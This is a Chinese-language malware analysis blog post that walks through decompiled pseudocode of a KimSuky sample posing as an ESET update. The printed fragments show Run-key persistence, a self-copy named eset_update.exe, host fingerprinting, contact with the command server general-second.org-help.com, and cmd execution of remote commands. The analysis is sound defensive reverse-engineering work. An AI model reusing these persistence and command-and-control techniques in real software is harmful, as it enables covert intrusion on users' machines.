KimSuky病毒分析
文章目录
文件名称:KimSuky.exe.sample
SHA256:3110f00c1c48bbba24931042657a21c55e9a07d2ef315c2eae0a422234623194
运行环境:win7
下载地址: 微步在线云沙箱 (threatbook.cn)
WinMain()
v4 = CreateMutexA(0, 0, "GoogleUpdate_01"); // 创建互斥体,保证单一运行
if ( GetLastError() == 1379 ) // (查表 )指定的本地组已存在。
{
CloseHandle(v4); // 关闭句柄
result = 0;
}
else
{
if ( sub_4011E0() )
{
sub_403600();
sub_401580();
sub_401770();
sub_402790();
if ( strlen((const char *)&szServerName) >= 1 )
{
v6 = CreateThread(0, 0, StartAddress, 0, 0, 0);
WaitForSingleObject(v6, 0xFFFFFFFF);
}
}
result = 0;
}
return result;
}
sub_4011e0()
函数上半部分:
dword_41F924 = 1;
LibFileName = 0;
memset(&Dst, 0, 0x103u);
sub_401040("\\NSNSJY3iqq", &LibFileName);// sub_401040():很乱,没有什么线索
sub_401000(&LibFileName, v1);
result = LoadLibraryA(&LibFileName);
v2 = result;
if ( result)
{
函数下半部分:
sub_401040("zwqrts3iqq", &v11);
v3 = LoadLibraryA(&v11);
sub_401040("NsyjwsjyTujsF", &v29);
sub_401040("NsyjwsjyHqtxjMfsiqj", &v27);
sub_401040("NsyjwsjyHtssjhyF", &v21);
sub_401040("MyyuTujsWjvzjxyF", &v25);
sub_401040("MyyuXjsiWjvzjxyF", &v19);
sub_401040("ZWQIt|sqtfiYtKnqjF", &ProcName);
sub_401040("IjqjyjZwqHfhmjJsyw~F", &v23);
dword_41F1F0 = GetProcAddress(v3, &ProcName);
dword_41F714 = GetProcAddress(v2, &v23);
sub_401040("Pjwsjq873iqq", &v7);
sub_401040("HwjfyjYttqmjqu87Xsfuxmty", &v9);
sub_401040("\\nsJ}jh", &v5);
sub_401040("NsyjwsjyWjfiKnqj", &v17);
sub_401040("NsyjwsjyVzjw~IfyfF{fnqfgqj", &v13);
v4 = LoadLibraryA(&v7);
dword_41F604 = GetProcAddress(v2, &v19);
dword_41F70C = GetProcAddress(v2, &v29);
dword_41F710 = GetProcAddress(v2, &v27);
dword_41F1FC = GetProcAddress(v2, &v25);
dword_41F1EC = GetProcAddress(v2, &v21);
dword_41F600 = GetProcAddress(v2, &v17);
dword_41F1F8 = GetProcAddress(v2, &v13);
dword_41F1F4 = GetProcAddress(v4, &v9);
dword_41F1E8 = GetProcAddress(v4, &v5);
result = 1;
放入OD里面调试:
调用LoadLibrary函数,加载WININET.dll。
函数后面也有调用LoadLibrary和GetProcAddress两个函数,向下调试发现,下面又加载了urlmon.dll和Kernel32.dll两个库。
获取地址的函数包括:
URLDownloadToFileA,DeleteUrlCacheEntryA,HttpSendRequestA,InternetOpenA,InternetCloseHandle,HttpOpenRequestA,InternetConnectA,InternetReadFile,InternetQueryDataAvailable,CreateToolhelp32Snapshot,WinExec,
从名字就可以看出来这些函数大部分是跟网络有关的,这些函数组起来大致的作用是:建立internet连接,打开文件并读取文件的内容,获取进程的信息,运行指定的程序。
sub_4011e0()函数的作用:加载三个动态库,获取指定的函数的地址 ,返回1
回到winmain,看sub_403600:
sub_403600()
struct tagMSGBOXPARAMSA v2; // [esp+0h] [ebp-440h]
memset(&v5, 0, 0x103u);
SHGetFolderPathA(0, 0x1A, 0, 0, &pszPath); // 获取系统文件夹的路径
GetModuleFileNameA(0, &Filename, 0x104u);// 获取当前进程已加载模块的文件的完整路径
sub_403320(&NewFileName, "%s\\eset_update.exe", &pszPath);// 在系统文件夹下创建程序
v0 = strcmp(&NewFileName, &Filename);
if ( v0 )
v0 = -(v0 < 0) | 1;
if ( v0 )
{
CopyFileA(&Filename, &NewFileName, 0);
sub_401040("XTKY\\FWJaRnhwtxtkya\\nsit|xaHzwwjsy[jwxntsaWzs", &SubKey); // 调试得:Subkey:"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",Subkey的值为一个开机启动项,这个项下的键值会随着开机启动。
if ( !RegOpenKeyExA(HKEY_CURRENT_USER, &SubKey, 0, 0xF003Fu, &phkResult) ) // RegOpenKeyExA:打开一个指定的注册表键,即开机启动项
{
RegSetValueExA(phkResult, "eset_update", 0, 1u, &NewFileName, strlen(&NewFileName));// 为在系统文件夹下的文件开启开机自启动
RegCloseKey(phkResult);
}
v2.cbSize = 0x28; // v2:一种消息结构体
v2.hwndOwner = 0;
v2.hInstance = GetModuleHandleA(0);// 获取句柄
v2.lpszText = "The program has been successfully installed!\nYour computer is safe now.";
v2.lpszCaption = "ESET Update";
v2.dwStyle = 0x80;
v2.dwLanguageId = 0x400;
v2.lpfnMsgBoxCallback = 0;
v2.dwContextHelpId = 0;
v2.lpszIcon = 0x65;
MessageBoxIndirectA(&v2);
}
sub_403600()函数作用:自拷贝、自启动、弹窗
sub_401580()
一些代码片段:
struct _IP_ADAPTER_INFO *v0; // esi 结构体包含本地计算机某一个网络适配器的信息。
if ( GetAdaptersInfo(&AdapterInfo, &SizePointer) )// 获取网络相关信息
goto LABEL_20;
sub_403320( // v0:存储的网卡的详细信息:Adapter Name,Mac,Ip,NetMask,NetGate
&Str,
"%02X%02X%02X%02X%02X%02X",
v0->Address[0],
v0->Address[1],
v0->Address[2],
v0->Address[3],
v0->Address[4],
v0->Address[5]);
LABEL_20:
if ( GetVolumeInformationA( // 获取磁盘卷信息
"C:\\",
VolumeNameBuffer,
0x104u,
&VolumeSerialNumber,
&MaximumComponentLength,
&FileSystemFlags,
0,
0) )
{
v9 = VolumeSerialNumber;
}
else
{
v8 = GetTickCount(); // 返回从操作系统启动到当前所经过的毫秒数
v9 = rand() * v8;
VolumeSerialNumber = v9;
}
sprintf_s(DstBuf, 0x10u, "%X", v9);
result = 1;
}
else
{
v5 = 0;
do
{
v6 = *(&v16 + v5);
DstBuf[v5++] = v6;
}
sub_401580()函数作用:获取网卡的详细信息,获取磁盘卷的信息
sub_401770()
一些有用的代码 :
struct _SYSTEM_INFO SystemInfo; // [esp+8h] [ebp-428h] 包含了当前计算机的信息。这个信息包括计算机的体系结构、中央处理器的类型、系统中中央处理器的数量、页面的大小以及其他信息。
v0 = GetVersion(); // 获取版本信息
DstBuf = 0;
memset(&Dst, 0, 0x3FFu);
Memory = 0;
SystemInfo.u.dwOemId = 0;
*&SystemInfo.dwPageSize = 0i64; // 分页大小
*&SystemInfo.lpMaximumApplicationAddress = 0i64;// 最大寻址空间
*&SystemInfo.dwNumberOfProcessors = 0i64; // 系统中处理器的数目
*&SystemInfo.dwAllocationGranularity = 0i64; // 指定大小byte的地址空间,之前是64k
GetNativeSystemInfo(&SystemInfo); // 获取当前系统的相关信息
sprintf_s( // 将信息输出到DstBuf这个字符串里
&DstBuf,
0x400u,
"%d.%d : %d.%d|%d|%s\n",
v0,
HIBYTE(v0), // 一个数的低16位的高8位
SystemInfo.u.s.wProcessorArchitecture,
SystemInfo.u.dwOemId,
dword_41E430,
"v1.0");
DstBuf字符串的地址:0x6FF450
调用函数之后,值:
6.2:9.9|5|v1.0
查了一下,感觉这里getversion函数返回的值看起来是有问题的,现在获得系统版本号 一般用GetVersionEx,GetVersion发明的时候搞错了,应该是就是有问题的。这里不做深究。
sub_401950()
sub_401950(strlen(&DstBuf), &DstBuf, &Memory);
点进去看一下,大概是一个加密函数,是对DstBuf这个字符串(也就是6.2:9.9|5|v1.0
)进行加密,其中有ABCD....789+\
,在OD里调试一下,是 base64加密。
sub_401770()函数作用:获取系统的版本号,并把获得的系统的信息进行 base64加密
sub_402790()
memset(&Dst, 0, 0x103u);
SubKey = 0;
memset(&v6, 0, 0x103u);
sub_401040("XhwjjsWnggtsxItrfns", &ValueName);// ScreenRibbonsDom
sub_401040("XTKY\\FWJaRnhwtxtkya\\nsit|xaHzwwjsy[jwxntsaXhwjjsxf{jwx", &SubKey);// SOFTWARE\Microsoft\Windows\CurrentVersion\Screensavers
可以猜到,sub_401040()函数是一个加密函数,将两串字符串进行加密操作之后分别保存到ValueName
和 SubKey
中,在x32dbg里调试发现:这两个加密之后的字符串分别是:
两个拼接起来注册表的键:
SOFTWARE\Microsoft\Windows\CurrentVersion\Screensavers\ScreenRibbonsDom
再下面 :
其中,szServerName的值可以从x32dbg中调试得到:
sub_402790()的函数作用:
将general-second.org-help.com
这个恶意的url写入上面解密 出来的那个注册表中 。
CreateThread()
创建线程
还以为就差不多结束了,没想到StartAddress是个函数。。继续看。
StartAddress()
往下看好像刚开始重点
看一下sub_402F30函数
sub_402F30()
开始有一段长的字符串"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36,gzip(gfe),gzip(gfe)"
,是一个user-agent,猜测在这个函数里可能会用到浏览器相关的操作。
大致的看了一下,这个函数里有很多点进去看不到什么东西的dword_函数,需要在x32dbg中调试一下。
在x32dbg中可以看出来,dword_41F70C()这里是一个InternetOpenA()函数
函数的作用 :
InternetOpenA():初始化应用程序对WinINet函数的使用
名词看不大懂,但是从英文上的意思可以理解成为打开网络的函数,也就是下面要使用网络了(我猜的)。
再继续往后调试,dword_41F1EC()是一个InternetConnectA()函数,也就是连接函数。为给定站点打开一个FTP或HTTP服务。
访问的站点是 general-second.org-help.com ,打开一个http服务,80端口
和服务器的连接建立了之后,就可以打开 想要的文件 。HttpOpenRequest和HttpSendRequest一起工作打开 文件。
HttpOpenRequest创建个请求句柄并且把参数存储在句柄中,HttpSendRequest把请求参数送到HTTP服务器。
下面就是一些关于网络(internet)的函数,基本上是实现联网,进行网络通信
sub_401AA0()
程序获取 C:\Users\用户\AppData\Local\Temp\ 文件夹下,再将tmp.LOG与文件夹进行拼接 。之后对文件名进行分割,添加动物后缀,然后修改两个注册表,以达到自启动和修改屏保属性的目的。
一顿修改注册表的操作
根据文件后缀的判断结果,若为包含有tiger,接受相应的命令参数,然后通过cmd执行。
函数作用:实现远程注入
总结
sub_4011e0()函数的作用:加载三个动态库,获取指定的函数的地址 ,返回1
sub_403600()函数作用:自拷贝、自启动、弹窗
sub_401580()函数作用:获取网卡的详细信息,获取磁盘卷的信息
sub_401770()函数作用:获取系统的版本号,并把获得的系统的信息进行 base64加密
sub_402790()的函数作用:将general-second.org-help.com
这个恶意的url写入上面揭秘出来的那个注册表中 。
sub_402F30(): 实现联网,进行网络通信
sub_401AA0()实现远程注入